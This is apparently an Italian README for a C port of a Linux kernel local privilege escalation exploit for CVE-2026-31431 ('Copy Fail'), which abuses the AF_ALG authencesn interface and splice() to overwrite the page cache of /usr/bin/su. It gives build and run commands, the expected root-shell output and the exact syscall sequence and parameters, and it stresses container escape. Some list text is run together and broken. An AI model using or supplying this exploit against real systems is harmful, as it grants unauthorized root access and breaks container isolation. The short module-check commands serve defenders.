
Exploit di escalation dei privilegi locale basato su C per CVE-2026-31431, una vulnerabilità del kernel Linux nell'interfaccia crittografica AF_ALG, che fornisce accesso root tramite manipolazione della cache di pagina.
Copy Fail (CVE-2026-31431) — è una vulnerabilità logica nel kernel Linux che consente a un utente locale non privilegiato di elevare i propri privilegi fino al livello di superutente (root). La vulnerabilità appartiene alla classe Local Privilege Escalation (LPE), non richiede condizioni di sfruttamento complesse (come race condition o indirizzamento di memoria) e funziona "out of the box" sulla maggior parte delle distribuzioni Linux rilasciate dopo il 2017.
Questo repository contiene una porta in linguaggio C dell'exploit Python originale con commenti dettagliati, adatta alla compilazione statica e all'uso in ambienti minimi.
La vulnerabilità deriva da un errore logico nel sottosistema crittografico del kernel Linux, legato alla gestione di AF_ALG (l'interfaccia dell'API crittografica del kernel) e del meccanismo della cache delle pagine (page cache).
L'errore è stato introdotto nel 2017 con l'aggiunta di un'ottimizzazione che ha eliminato la bufferizzazione superflua eseguendo le operazioni di cifratura a blocchi AEAD (Authenticated Encryption with Associated Data) in-place. A causa di una gestione errata dei limiti dei buffer nell'algoritmo authencesn (parte del template crittografico AEAD), si verifica una scrittura di 4 byte oltre i limiti del buffer allocato, che porta al danneggiamento delle strutture di controllo della cache delle pagine.
Di conseguenza, il kernel può scrivere dati nuovamente nella cache delle pagine di un file, anche se questo è stato aperto solo in lettura (O_RDONLY).
AF_ALG e inizializza l'algoritmo AEAD authencesn(hmac(sha256),cbc(aes)).setsockopt() vengono impostati parametri anomali:
sendmsg() con control messages viene avviata un'operazione di decifratura.splice() sposta i dati dal file di destinazione (aperto con O_RDONLY) al socket crittografico.authencesn, la cache delle pagine del file viene danneggiata e i dati "decifrati" vengono riscritti nella cache.root.| Componente | Descrizione |
|---|---|
| Kernel Linux | Tutte le versioni dal 2017 fino all'inclusione della patch correttiva |
| Sottosistema | crypto (modulo algif_aead) |
| Interfaccia | AF_ALG — accesso utente alla crypto-API del kernel |
| Chiamata di sistema | splice() in combinazione con i socket AF_ALG |
Distribuzioni vulnerabili (con kernel che caricano il modulo algif_aead):
Rilevanza particolare: negli ambienti containerizzati (Docker, LXC, Kubernetes), ai processi all'interno del container è accessibile per impostazione predefinita il sottosistema AF_ALG, se il modulo algif_aead è caricato nel kernel dell'host. Questo crea il rischio di violazione dell'isolamento del container e di ottenere il controllo della macchina host.
Verifica della vulnerabilità:
# Verificare se il modulo algif_aead è caricato
lsmod | grep algif
# Verificare la presenza di AF_ALG nel kernel
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
L'exploit originale è stato scritto in Python (≈732 byte). Questa porta in C ha le seguenti caratteristiche:
libz.strace).recv() non bloccante — previene il blocco, replicando il comportamento try/except di Python.Differenze chiave rispetto alla versione Python, emerse durante la portabilità:
| Parametro | Python | C (questa porta) |
|---|---|---|
Flag sendmsg() | MSG_MORE | MSG_MORE |
Flag splice() | 0 | 0 |
| Offset nella pipe | NULL | NULL |
| Dimensione chiave | 40 byte | 40 byte |
cmsg_len | 20/36/20 | 20/36/20 (hardcoded) |
| Creazione pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Bloccante con try/except | Non bloccante (O_NONBLOCK) |
# Richiede libz (zlib1g-dev o zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
In caso di sfruttamento riuscito, verrà avviata una versione patchata di /usr/bin/su che fornisce accesso root senza richiedere la password.
Output atteso:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su aperto
[+] 40 chunk
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
Di seguito è riportata un'analisi dettagliata di ogni fase dell'exploit con le corrispondenti chiamate di sistema:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Viene creato un socket per l'accesso all'API crittografica del kernel. L'algoritmo authencesn (Authenticated Encryption with Sequence Numbers) è un algoritmo AEAD composito che utilizza AES-CBC per la cifratura e HMAC-SHA256 per l'autenticazione.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 zeri), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 zeri), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 zeri)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Viene creata una connessione per l'operazione. Tramite sendmsg() con control messages (CMSG) vengono impostati i parametri:
ALG_OP_DECRYPT = 0).Tutte queste anomalie creano incongruenze nella gestione della memoria del kernel.